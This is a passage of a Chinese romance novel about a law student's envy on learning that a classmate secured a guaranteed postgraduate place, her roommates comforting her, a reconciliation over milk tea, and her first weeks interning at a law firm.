女生说到这倒吸了口凉气,“才知道他爸妈是在外交做事的,一整个被震惊到了。”
边月白松了口气,还好不是自己上周在酒吧的事败露。不过转念一想也是,多大点事儿还值得她这么在意,早该放下了。
符瑾戳她腰,用气音说:“不是吧,大佬啊。”
她边上那姑娘也是外院的,恍然大悟地点头,“啊?那怪不得了。之前评奖学金的时候我看他奖励那框拉了好几条见都没见过的奖项。原来是家里有门路去参赛啊。”
另一个姑娘想了想提醒她们:“能填上去的奖都是有含金量的,那也得有实力拿好吧。”
“也是哦。”
这时刚好叫到她们号,两人说了句“先走啦”就起身跟着服务员进门,被安排在中央的方桌上。上菜速度还算快,服务员帮她们下单都没过一刻钟,三道菜两杯饮料一碗冰粉端上来。
经济实惠,量大管饱。
湘菜的特色就是在鲜艳的小米辣里找鲜嫩肉片,多汁又弹牙。另一盘肉菜的辣子鸡在灯光下泛着酥黄油光,看着就食欲大开。
当吃得额头冒汗再喝两口刚刚买的手打的生椰绿豆冰沙,简直爽到飞起。
两人吃得起劲的时候,侧面那桌没多久被收拾干净,再次有人落座。
两桌之间隔着并不高的隔板,只要坐直身体就能看见对面人的面孔,更何况隔壁两位男生还高。
边月白望过去的时候,意外地发现隔壁的人也在看她。目光就这么接上,柯弋见到她微挑眉梢,牵起一抹淡笑。
刚刚还在别人口中的传奇人物就这么出现在面前,倒也没什么不真实感。只是真实在心里感叹,原来真的有人可以把学习和生活平衡的很好。
她的学习方式太累,每个参加的活动都是带着目的去的,模拟法庭比赛也好,大创项目也好。
当初在图书馆注意到柯弋就是因为他身上有种考研人很罕见的松弛感,似乎在他身上看不到焦虑感。有的时候学累了,不自觉多看两眼,就好像也能改变自己心态似的。
不过边月白这次态度颇好,或许是因为今天找到工作了,也或许是因为他那个带有善意的甜筒。边月白也礼貌地对他回以笑容,随后继续低头吃饭。
“莫名其妙笑什么?”符瑾顺着她视线看去,这下了然,叨咕了句,“哦,他呀。”
但没有因为隔壁的人打断她们吃饭的进度。
“吃饱了没?要不要加份菜?”符瑾看着吃得差不多快要空了的盘子,又给自己添了小半碗饭。
边月白停筷,拿起菜单,“再点盘基围虾?还是素菜?”
“想吃金钱蛋,下饭。”
“行。”边月白朝服务生招手。
-
两人都快吃完的时候,隔壁柯弋那桌才刚上菜。
边月白扶着肚子,靠着沙发靠背,头一仰喟叹道:“好饱,真好吃。”又问,“休息一下再走?”
“好啊,我刚好找个东西给我妈发过去。”符瑾手肘支着桌面,手机挡住她半张脸,灵活的手指在屏幕上不断
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滑动。
边月白随口一问:"什么东西?"
“就我那个发小你见过的,来过我们寝室玩。”符瑾说,“她不是去年保研了嘛,我都跟我妈说了八百遍了她还是没记住。”
“我妈年纪还没大记性就开始不好了,跟她说她又不信,非说她是考研。”符瑾哼哼两下,“我要找到证据,狠狠甩给她看!我记得去年十月还是十一月的时候她们外院公众号有个喜报来着,只可惜那时候没存下来......”
“哦。”边月白没多大在意。
符瑾专注得看着屏幕,手指滑动一下,数十条文章飞驰而过,终于在几分钟之后她大喝一声:“nice!我找到了。截图发给我妈。”
隔了没多久又响起她不敢置信的声音,话将要冲出口的刹那又被人刻意压低,神秘兮兮得生怕被人听见,“等等......边月白我好像看见柯弋的名字了。”
符瑾缓缓从手机后露出诧异的神色。
“不会吧......”边月白下意识不愿相信,觉得她在异想天开,不自觉地快速瞄了眼斜侧方举着筷子正慢条斯理吃饭的柯弋。
刚刚分明还听见隔壁桌柯弋跟他朋友聊天。只是这种饭店大堂公共环境一般,嘈杂的噪音盖过交谈声,只能隐隐捕捉到“复试”“专业课”“材料”这类的词。
乍一听,还以为这两人争分夺秒到连吃饭的时间都要省下来准备复试方案呢。
“真的,你看。”
符瑾神色一敛,毕竟是在当事人身边聊八卦,一套下来八百个假动作手机才展现到边月白面前。
边月白狐疑地瞄了她一眼,接过手机去看。
大大的“喜报”二字赫然映入眼帘,红底黄字,醒目得很。
视线随意一扫就捕捉到“柯弋”二字。他的名字独特,几乎不可能重名。再往旁边一看,班级栏清清楚楚写着“翻译系一班”。
好,就是他了。
同班同名,总不可能还有个叫柯弋的。
那一刻,恍若晴天霹雳打在她身上,把她的理智炸了个粉碎,而后是无穷无尽的背叛感。
那种背叛感有点类似于,咱俩说好了一起完成大作业你一半我一半,结果队友熬了个大夜把整个作业写完了,达成了“皆大欢喜”的结局。
似乎这时候你要是去纠结就有点不识好歹,但那种膈应人的背刺感依旧存在。
边月白脸上的笑意慢慢消失,双唇抿成一条直线。
为什么他考研都能那么松弛,都在这一刻找到了原因。
因为他根本不用考研呀!
如果说柯弋上岸对她打击不小,那么这次的打击更是毁灭性的,还有种莫名其妙有种被人狠狠踩在地上碾压的屈辱感。
这种感觉就像是,她那个关系不太好的堂哥给人带来的压迫感一样。
无时无刻让她感受到那种人与人之间存在,却被忽略的落差感。
尤其昨晚跟家里人吵架,跟她哥脱不了干系。
虽然他本人并不知情,但这不妨碍边月白顺带把气撒他头上。
边月白侧头看向柯弋。
视野中的柯弋手背支着下巴,手里虚虚握着筷子,显然在听对面的朋友讲话,时不时点点头,也不打断对方说个不停的话,偶尔冒出一两句话回应。
看见他那么张弛有度的模样,边月白气不打一出来,嫉妒使她面目全非,屈辱占据了大脑,后槽牙都快要被她咬碎,脑子只有——
凭什么凭什么!!
心里的小人咬着小手绢疯狂撕扯摇晃脑袋,嫉妒得快要发狂。
边月白狠狠戳了戳碗里的千叶豆腐,戳了半天也没戳烂,最后筷子往桌上一拍,皮笑肉不笑看着符瑾,说出来的话酸溜溜的。
“看走眼了,原来不是保温杯哥,是保研哥呢。”
符瑾试图帮她们保温杯哥说话:“呃,可能是拟录取公示期怕被人整所以......来了招声东击西?毕竟这世界上红眼病还真不少。”
“啊~”
边月白表示非常理解地点头,随后冷笑一声,这次带上了些审视的目光打量着他。恰巧此时柯弋偏头,两人的视线在人声鼎沸中交汇。
世界仿佛安静了,只剩下某些无法宣之于口的情愫。
隔着两张桌子,边月白缓慢勾起一抹笑意,极其阴阳怪气,一个字一个字从齿缝里蹦出来。
“哟,保研哥这一手假动作做得不错嘛?”
13. Allergy 13(修)
还好是吃完饭才知道的这个消息。不然要是在饭前,边月白估计能郁闷到胃口骤减,光盘行动的重任全部落在符瑾身上。
连招呼都没打就离开,边月白也说不清自己那么小心眼干什么。
就算是对方刻意隐瞒,明明对她也没什么实质影响,自己那么在意干什么?
没心情饭后消食去操场散步,径直回到寝室后将窗帘一拉,准备午睡。
室内昏暗无声,两人脚对脚躺在各自床上。
环境安静下来瞌睡虫爬上来,就当符瑾快要眯上眼睡着时,边月白兀自开口。
“我刚刚仔细想了下,忽然发现一个问题。就是这么长时间以来,我对柯弋的了解一直来源于他人。很片面,再加上我发散性脑补,才导致我的认知和事实差距那么大。”
“但知道归知道,还是很不爽。”她气鼓鼓的。
“就刚刚,知道他保研那种感觉,特别像当初我哥突然硕博连读给我带来的压力感。我一直觉得我跟我哥就好像星系里的恒星和行星,行星总会被淹没在恒星的强光下。但其实地球也是行星,你看,它孕育了这么多人类。”
符瑾瞌睡被拉回来,听完后忍不住吐槽,“你也是够自恋的。”
“......”
边月白弱弱反驳,“这只是一个比喻。”
符瑾翻了个身,“你哥是亲戚,柯弋是同学,别想那么多了。”
“也对。”
隔了会儿,边月白干脆坐起身来撩开两人之间的帘子,强调:“不过我哥比他厉害点。”
“对对对。”符瑾已经习惯了她的口不对心,明明每次说到她哥的时候总是又嫌弃又不甘,但是眼睛里闪烁的光不会骗人。
——她其实也很骄傲有这么一个哥哥。
“不过还好我们只是在图书馆见面的关系,当初也没想着加他联系方式。”边月白慢慢靠在墙上轻声叹了口气,“这样一毕业,很快他就会忘记有这么一个人。她起早贪黑还没上岸。”
边月白又坐正身子,嘴巴瘪了瘪,猜疑道:“你说他会不会觉得我是假学习啊,学给自己看那种?”
还没等符瑾插话,她又在那自言自语。
“其实去年的时候我真的有想过他这种学习态度真的能考上研吗?”边月白唇角提了一下,露出了一个很淡的笑但充满嘲意,随后耸肩,“但结果多替人家担心,早就保研上岸了。”
过了好一会儿没声音,符瑾一睁眼就看见对面的边月白头枕着墙,脑袋放空,两眼发虚。
她坐起来端详了会儿,评价:“你这样好像冷宫里疯了的妃子。”
边月白听进去了,身体骤然一僵,苦笑着调侃:“那冷宫里疯了的妃子还能做梦突然间得到皇帝赏识飞黄腾达呢,说不定未来是条康庄大道还能在御花园里放鞭炮。”
符瑾惊坐起:?
“边月白。”符瑾喊住她,没想到她平时看着沉稳,实则内心戏能这么多,措了好一会儿词才说,“你别去想那么多,你越脑补越内耗。”
“柯弋他从始至终一句话没说被你扣了好大一口锅。没有发生的事情就不要先去给出假设,事情不一定会往坏处发展,人也是。虽然传闻中他这张嘴挺欠的,但人还不赖,不一定就会这么想你。”
“而且,萍水相逢的关系真没必要让你付出那么多心思。”
“我知道。”边月白的声音很轻,抬眼看她,“符瑾,归根结底与他无关,我其实是在生自己的气。”
“因为我知道,我自己真的努力了。我怎么去告诉别人这是我努力的结果呀。”
她其实只是接受不了自己的平庸罢了。
“那就工作。”符瑾打断她,落下话音掷地有声,“你要找不到工作来我叔叔这,给你挂牌执业。”
“哦不,你刚找到实习,不说这种晦气话呸呸。”
隔着纱帐,仍然能看清符瑾看着她的眼神专注而平静,极具信服力,“边月白我不止是你室友,我也是你的人脉你懂吗?该用的时候别不好意思去用。”
边月白看着她愣了片刻,神色逐渐恢复自然。
符瑾看着她沉默,又改了套说辞,“考研失败不意味着你人生的失败,这些都是阶段性的。”
“哎,姐什么时候这么多愁善感了。我都不敢想这是我能说出来的话。”符瑾朝她wink一下,“所以,宝贝可以懂吗?”
边月白神色恹恹的,提不起什么兴致,往后一倒就成了一滩烂泥。
“道理我都懂,只是......”
“知道了你只是一是想不明白钻牛角尖了对吧?”符瑾一拍手,“那咱别睡了。走!我们出去打羽毛球!”
“运动一下出点汗,把注意力转移了就好了。”
说着符瑾被子一掀已经扒着梯子在下床,嘴里还在念叨:“嗐,我跟你说我要是跟我妈说这些,你信不信她绝对会说我手机玩多了导致的。”
边月白:“......阿姨说话还挺幽默的。”
-
周末运动场上人多热闹。
一踏进,就听见右侧篮球场上球鞋与地板摩擦的尖锐声,激烈又澎湃,叫人看得热血沸腾。而其余场地都是在打羽毛球和对着墙壁练网球的人,相比之下略显悠闲。
两人背着包进场,好位置都被占了,只有门口那块地来往人多,没人占。
她俩又不是专门来打球的,只是想换换心情罢了,也不挑,就在门口拉开运动包掏出之前跟学姐收来的二手羽毛球拍和炸毛的羽毛球。
为了运动,两人换上轻薄的运动服,马尾高高束起,往那一站就是两个青春洋溢美少女。长相端正又清爽,青春气息扑面而来。
场上大多是挥汗如雨的男生,刚运动完荷尔蒙爆棚。一进来,立刻就有不少人暗戳戳瞄了过来,几个打球的男生甚至停下动作,眼神飞快交流几番后,推推搡搡地想上前要联系方式。
然而边月白根本没注意到这些,她正忙着全场狂奔,接符瑾发的球。几次扑救后,她磨了磨牙,猛地回头瞪了符瑾一眼。
这家伙为了让她忘掉烦心事,还真是煞费苦心。
每一个球都往两角打,要不就擦着网,让她不断跑动接球。
不带这么玩的啊!!
几局下来,边月白筋疲力尽坐在地上,摆手:“不打了,休息会儿。”
符瑾走过来捡走她丢在地上的网拍,啧了声,嘲笑她:“你不行啊。”
边月白两腿一蹬,不管不顾吐苦水:“哪有你这么玩的,是帮我换个心情吗?是你找机会虐菜我吧!”
符瑾没良心地大笑,绕过她把拍子收起来,“我去买瓶水。”
“给我带一瓶。”
“OK!”
-
又有人来打球,边月白挪了个地方给人让位置。屁.股还没贴上球场边的台阶座位,手侧忽地闪过一个球形黑影,落在面前地上弹了两下。
身后响起一个陌生男声。
“小姐姐可以帮忙捡一下球吗?”
运动场由一排台阶座位分为两块区域,左侧靠近铁门的是羽毛球区域,右侧是篮球区。在边上打羽毛球时不时会有隔壁的篮球误落过来,有时帮忙捡球也是顺手的事儿。
但当下边月白很累,太久没运动,这一运动腿都有些打颤发虚。回头一看,好几个男生呲着大牙看她,为首那个跟她说话的男生挠了挠后脑勺,神情腼腆,又问了嘴。
“可以吗?等会请你喝奶茶。”
边月白叹气,不情不愿起身帮他们去捡球。倒不是为了奶茶,只是她心地善良。
几步上前,没等手触碰到橘黄色篮球,视野中陡然出现了另一只手。
手掌宽大,五指修长,仔细看中指和无名指之间还有一颗很淡的细痣,若是手不张开就看不见。这是上次醉酒之后边月白无意发现的。
如今,凭借这个细痣,她电光火石间就认出来人是谁。
“别过去了,用不着。”柯弋淡声道,“我帮你拿过去,你坐着等你室友买水回来吧。”
眼
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前的手张开,就这么抓起了球,一用力手背青筋凸显,散发着独特力量感。
相比他那没头没脑的话,边月白脑子里在想其他的,直起腰,怔怔地打量着他,好一会才回过神来,“你怎么在——”
话没说完,她就看见柯弋半拉的夹克外套,随着动作露出里面的白色球衣。
边月白察觉到自己好像问了个蠢问题,话音一拐,“来打球?”
“嗯。”柯弋不咸不淡应了声,抬起头遥遥看了眼球场那边几个男生,手里一抛一接的是他们的球。
“刚刚为什么不打一声招呼就走了?”
边说着,柯弋一手举球,用了力直接给球打送了回去。球线平直,又快又猛,打头的男生接住后手麻了一瞬,暗骂了句“操”。
边月白内心麻木,随口胡诌道:“我看你吃得认真,怕打扰你们。”
柯弋没给她留面子,“借口。”
边月白神色复杂看他:“......”
那要我怎么跟你说,我刚得知您老保研的消息当场破防了?
看她一副不准备解释还有点抗拒的样子,柯弋心里叹了口气,“走了。”
朝身后几个等着他的朋友使了个眼神,几人边打趣边推搡着进入篮球场。就选在她们放包的座位后面那块场地,正好挡住那几个叫她捡球的那伙男生。
他们乌泱泱一群人将东西往座位上一丢就开始脱衣服,边月白背着身没看见,但听见背后传来一阵衣物摩擦发出的悉窣声响。
“终于回来了!”
隔了老远一道声音将边月白注意力拉回。
符瑾一回来就埋怨:“不是我说,这破手机是真的烂,刚刚在小卖部里居然没信号了。幸亏老娘人缘好,碰到认识的人解围。”
正说着话,她停了下跟人挥了挥手,“哟你也来打球啊。”
勾起的边月白好奇心,回头一看,对方是个长相清爽的男生还有点眼熟,于是问:“谁啊?”
“玩密室认识的朋友。”符瑾帮她旋开瓶盖,递过去,“你见过的啊,去年一起玩过。”
边月白接过抿了两口水,停下来仔细回想了下,只记得当初发生了什么,但对记忆里那群人的长相很模糊,像是糊上了马赛克。
“是吗?不记得了。”
“嗐你这个记性真的是,就记得住法条是吧。”符瑾哼笑出声,视线穿过边月白肩膀,跟球场上一道不容忽视的视线对上。
符瑾愣了下,神色变得有些古怪,“呃,你知道柯弋也在这吗?”
“知道啊,巧不巧?”边月白一提到这个就泄气,往后一躺,语气里带着淡淡的绝望,“吃饭遇见,打球又遇见。”
阴魂不散的。
“说真的我现在一看见他,就感觉他脑门上大大的两个字闪着金光。”边月白咬着字,用手在自己脑门上比划了下,一字一顿地说,“保、研。”
边月白回头,死死盯着在那三步上篮接着一个扣球的柯弋,在众人欢呼喝彩中转回身,却不料撞进他乌亮的双瞳。
这让边月白心虚了一瞬,快速回避对视,盯着红绿撞色的地面补上后面未说完的话。
“以后请不要叫他保温杯哥,我没有这么高不可攀的考研搭子。我们并肩作战的日子都是假的!假的!”
刚开口还是平静的,说到最后一度控制不住音量。
符瑾没跟上她思路,此时在想些别的,不假思索地嘟囔了句,“你说是不是因为我之前没把柯弋跟保温杯哥联系起来所以没注意到,其实他跟咱还是挺有缘的?”
要不说两人是朋友呢,说话都虎头不对马嘴的。
“算了吧符瑾,我不挣扎了我承认我就是个恶毒的小女孩。”边月白举着双手,无奈地笑了两声,有种想要跟人一起同归于尽的美好精神状态。
“我没事啊,我很好啊。”她转头问,“你之前说什么来着?”
符瑾替她答:“自己的失败固然可怕,他人的成功更令人揪心。”
“这话可太妙了。”
14. Allergy 14
晚上洗完澡后,边月白毫无坐像地坐在座椅上,背后垫着一个靠垫,腿架在桌上,下面还垫着一个靠垫。
戚慧提着小蛋糕回来就是这么个场面。
“你怎么回来了?”边月白眼珠一挪,看她。
戚慧将蛋糕放在她桌上,嘴上胡乱讲着,“想你们了。”
看见她手里东西,边月白喜形于色,拖着腔调明知故问,“这是?”
“我男朋友买来孝敬你们的。”
三人支起桌子,打开蛋糕放在中央,四寸也不过巴掌大小。大家围坐在桌前手里举着小勺子一点一点珍重地消灭着。
戚慧戳戳她脸蛋儿,问:“今天不开心啊。”
“你听谁说的,没有啊。”边月白注意力全在蛋糕上。
戚慧跟符瑾对视一眼,尝试开口:“我们前年那个保研的学姐宋蕾你知道的吧。”
“知道。”
“她就因为公示期间随口跟同学说了一嘴结果被人从中作梗搞得校方那里撤销名额。”
边月白抿掉勺子上的奶油,盯着桌面,“你知道今天的事情了?”
戚慧一顿,怕她听了不舒服,忙解释:“我没别的意思,你要是觉得不舒服我就不说了。”
边月白抽了张纸巾将勺子搁在上面,摇摇头轻声道:“我知道你这是在关心我。你说得道理我都懂,你放心都是小事。”
她捏紧拳头,手肘一提,“不就是考研吗,我可以的!”
符瑾赞同:“对!”
-
虽是这么说,但室友总觉得她会想不通。为了照顾边月白情绪大家纷纷说要将聚餐提上日程,先吃一顿,等大家尘埃落定之后再一起搓一顿大的。
边月白说不过她们,就这样决定下来,定在学校前门的一家火锅店。但对于边月白和符瑾来说,这一周两顿“大餐”过于奢侈了点。
为了感谢大家这段时间照顾,边月白主动请大家喝奶茶,就火锅店边上那家。落座点好单之后,统计了下大家口味在小程序下单,等会儿去拿。
今天好像外卖在搞活动,前面排单很慢。她们都吃了有一会儿了才显示可领取,边月白擦了擦嘴起身,“我去拿。”
“我陪你!”毛霏霏将毛肚胡乱往嘴里一塞就要作势起身。
“不用了你吃。”边月白压着她肩膀坐下,拎起外套就走,“你们先吃,别等我。”
三人:“好!”
白天出着太阳不觉得,但到晚上温度降下来,边月白一推开火锅店门,风灌进领口就感觉到冷了。她拢了拢身上的外套,捋了下被风吹得胡乱飘散的头发。
奶茶店就在门口右侧第三个店面,边月白低着头在手机界面山调出取餐码,一个没留神撞上了人。
那一瞬间,鼻尖瞬间被一种清爽的、类似于雪后松木干燥又清凉的气味占据。
隐隐的,总觉得很熟悉,像是在记忆力存在过的味道。
边月白轻道了声“对不起”,抬头撞入一道晦暗不明的目光,说不清为什么神经一下被拽得紧紧的,当下那一刻说不出多余的话。
柯弋头发也被吹得凌乱,黑色风衣鼓动发出声响,领口的衬衫领角被吹起,轻刮着他下颌。
忽然意识到应该是天色太黑,加之他穿着一身黑,一时没分辨出来才撞上了。
“又见了。”他垂眸,轻声淡道。
最近见到柯弋的频率真的很高,高得她都有点脱敏了。过了一晚上再次看见,心情都平静不少。
边月白不禁感叹,她成长了,不再是那个容易情绪波动的人了。
“嗯,我来拿奶茶。”边月白饶过他,直奔柜台出示取餐码。
店里此时也就一个店员,显然人手不够。应该是还没帮柯弋点完单,店员朝她笑了下转而问柯弋,“帅哥不好意思,你点的杨枝甘露的西米没了,如果你还是要点可能要等一会儿,要不换一杯?”
“换一杯吧。”柯弋随便指了一杯。
店员将小票给他之后才帮边月白打包,而她两手扒在柜台边缘翘首以盼,并不想主动去跟柯弋搭话。
“寝室里人一起吃饭?”他状若无事地问,向前一步靠进柜台,手肘虚虚磕在台面上,指尖离她的不近不远。
边月白接过奶茶的动作一顿,眼眸微动,慢慢拎着袋子收回手垂在裤边,内心深处不断涌现出各种情绪,最后她深呼吸过后还是讲出了原因。
“对,庆祝我找到实习了。”
有句老话说得对,她就是死要面子活受罪。
真当说出口后,边月白忽然感觉压在自己心口的那些石头忽然被扫走。
她这才意识到越是不想说的事情越是容易困住自己,一旦说出来就会发现,也没什么,真的是自己将自己困住了。又觉得自己这样跟人较劲的行为,既没有意义,也很愚蠢。
柯弋一愣,似乎意识到什么,隔了一会儿才说:“恭喜。”
“也恭喜你保研了。”边月白挤出一个假笑,心里还是酸溜溜的。
“你知道了?”他对她会知道这件事似乎有些意外。
边月白手指将袋子手提柄搓成一条,尽管克制了情绪,但一出声这语气还是有点咄咄逼人的意味,“那你既然保研了为什么还能分配到学校的自习室。”
意思就是,你不考研凭什么还占着这么宝贵的位置。
柯弋感受到她语气里的冲,打量着她的神色,“啊”了下,然后不急不徐地解释。
“那是我朋友的位置。他临时准备出国了,原先分配到的位置空出来就让给我准备今年上半年的竞赛。”
边月白怔住,竟然是因为这样吗?
心里最后那点不满随着他话音落下也即刻消散,不如说她在选择开口问出自己疑问的那一刻,就已经尝试在跟自己和解了。
“没事吧?”柯弋敏锐地察觉到她此刻脸色并不好。
边月白收回思绪,尽管一时还是无法消化好情绪,但强装淡定牵了牵嘴角道:“能有什么事啊。”
“帅哥,您的柠檬茶好了。”
此时店员在喊他,把做好的奶茶跟吸管放在台面上。
“那我也先走了,还没吃完饭呢。”她摆手。
柯弋迟疑两秒,点头但没去拿奶茶,定定地看着她刚走出去两步,脚步顿住,又转回来,拉开塑料袋从里面拿出一杯杨枝甘露递到他面前。
见他不接,边月白还晃了晃,催促道:“拿着啊。”
“你室友没事吗?”
虽这么说着,柯弋诚实地接过了。
“是我的,没事。”边月白拿走店员放在台面上拿杯,不知道心虚什么劲儿仓促瞄了眼他,小声说道。
“刚刚不好意思,我最近情绪不好,当作是赔罪了。”
不只是刚刚,还有好多你不知道的时候,我把你想的很坏,把很多不好的情绪都归咎在你身上。
也幸好,这些你都不会知道。
边月白在心里默默补充。
“没事。”柯弋若有所思地看着手里那杯黄澄澄的奶茶,杯壁的水汽沾湿他的手掌心。
再抬头女孩儿似乎轻松了许多,眉间舒展开来。有些东西在心中慢慢清晰起来,柯弋好像知道为什么她总是躲着自己的另一个原因了。
“先走了。”
“嗯。”
边月白拎着一个四四方方的保温袋,步伐轻快,走到热气腾腾的火锅店门口转身,利落地推门走进去。
-
时间到周一,边月白正式开始实习。
并没有想象中的忙碌,连带教律师也没见着。因为他临时出差,把边月白丢给了另一个律师。
对方很忙没空手把手教,她直接扔给边月白一叠卷宗,告诉她自己去研究,研究不明白就去查发条,看相关判例。
律所中的人都在一种焦虑氛围下,但边月白那一周基本是放养状态。每天到了下班时间,大家都在加班。边月白不好意思下班就在位置上多坐了会儿才走。
很多时候都处于一个迷茫的状态,因为没有人提点她。
一周都在翻法条,查资料,尝试仿照律所模板写材料中度过。
好不容易到周五晚上,其他两个室友复试结束提议出去玩,边月白倒是还好,相反符瑾一周下来累成狗。
符瑾:“你们去吧,我现在就是赛博尼姑,对这个世界毫无欲望可言。”
边月白:“你们律所这么忙的吗?”
符瑾一脸高深莫测,“你才第一周,再多上两周班你也有机会感受到的。”
这话带着幽怨,从远处传来,跟诅咒似的。
边月白听着不由打了个哆嗦,忙让她住嘴:“你别乌鸦嘴。”
其实都不用两周,周末一过她带教回来就开始忙起来了。
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就是上次在电梯间遇上的那位,全名卢成天,本科跟她同校但大她六届。
两人上周就加了联系方式,沟通仅限于边月白帮他接受了两次文件和扫描了一次文件,总体来说在帮他打杂。
周一。
第一次见面,简单聊了两句丢给她文书校对工作。边月白下午校对完成放他桌面,没有反馈。
周二周三。
全在重复这种无意义的工作,只不过多了个案例检索。做不完,依旧没有反馈。
周四终于约她聊天。
“前几天工作上有问题吗?”卢成天双手交叉放在桌面上,鼻梁上挂着眼镜,神色平淡问她。
但边月白看着他感觉有些莫名威严感,就像是学校那群老师。
边月白在心里给自己打气之后掏出小本本,一边翻一边问自己记录下来的问题。
卢成天看着她这副有准备的模样也有些吃惊,但一听到那些小儿科般的问题又有些头疼,一面在内心吐槽一面帮她解答。
但仔细一想,自己也是这样的职场菜鸟过来的,卢成天语气也不禁缓和下来。
讲完后,卢成天问她:“听懂了吗?”
“嗯嗯!”边月白眼睛亮亮的。
“下次有问题及时找我,不要自己蒙头做事。”卢成天说完又补了句,“但别拿特别蠢的问题问我,懂吗?”
边月白斩钉截铁道:“懂!”
回到工位之后继续完成之前工作。多亏在茶水间遇到的那位女律师的提点,边月白改正方式后检索效率提高不少。
下午在工位被卢成天叫走接见当事人,当事人是他朋友,边月白的工作就是倒水和学习。
但不知道是不是边月白多想,那位当事人看她的眼神让人有点不舒服,细想之后又没有缘由。
只能作罢。
一聊就是两个小时,边月白长久坐着腰酸背疼,等陪同卢成天将当事人送走之后才敢松懈下来,跟着卢成天回去,正揉着肩膀。
就听见前面的人冷不防来了句,“这就受不了了?”
边月白收回手,正色:“没。”
“过来跟我拷资料,起诉状你写。”
边月白指着自己,惊讶道:“就我??”
卢成天笑着告诉她:“对,就你。”
边月白脑子里只有,真是要命了。
-
活是不能不做的,尽管有预感过程会很痛苦,但没想到会这么痛苦。
两天下来,边月白感觉自己被吸干了精气似的,那样子跟上周五强撑在底下开着电脑工作,嘴里吐槽着自己是“赛博尼姑”的符瑾一模一样。
每晚回到寝室跟符瑾默契对视之后,两人都心照不宣地无奈笑出了声,一副命很苦的样子。
周五难得碰上卢成天准点下班,一看她这个实习生还跟着在那加班,赶她回校。理由是加班也没加班费,趁着周末赶紧先去玩会儿,不过边月白是抱着材料离开的。
跟着人流走出地铁站的时候,边月白都有些恍然,今天回来天居然还是亮着的。
面朝着西侧落日,金色的余晖打在身上,充盈着她酸胀的眼,明明那么平常普通却又特别震撼。
正当边月白走出两步,神思还有些游离时,远处传来一道声音将她拉回。
“边月白。”
音色清润纯粹,恰好落在少年青涩与成年低醇之间,带着一股漫不经心的慵懒,听起来却格外惹人注意。
边月白位于台阶之上,随着低头目光顺势落下。
远方天际线的光骤然变淡,近处背光的人才得以看清面容。
柯弋今日穿得休闲,双手插兜,神色轻松站在人群中。身侧几个男生嬉闹打趣,正热火朝天地讨论着晚上去哪儿玩。
在他清晰地唤出她的名字之后,他身边的笑闹声微顿,同时好几道视线一时间落在她身上。
两人视线在空中静静交汇,形形色色的乘客在地铁口进出,穿梭在两人之间。
边月白都有些纳闷,学校这么大,怎么在哪都能遇见他?
不过遇见又怎样,他们只不过是点头微笑的关系罢了。
肩上的托特包缓缓滑落至手弯,她下意识收紧了手臂中抱着的材料文件,这才有所行动。
边月白走下台阶,高跟鞋踩在台阶石面上发出响动,同时回以微笑,礼貌却带着疏离。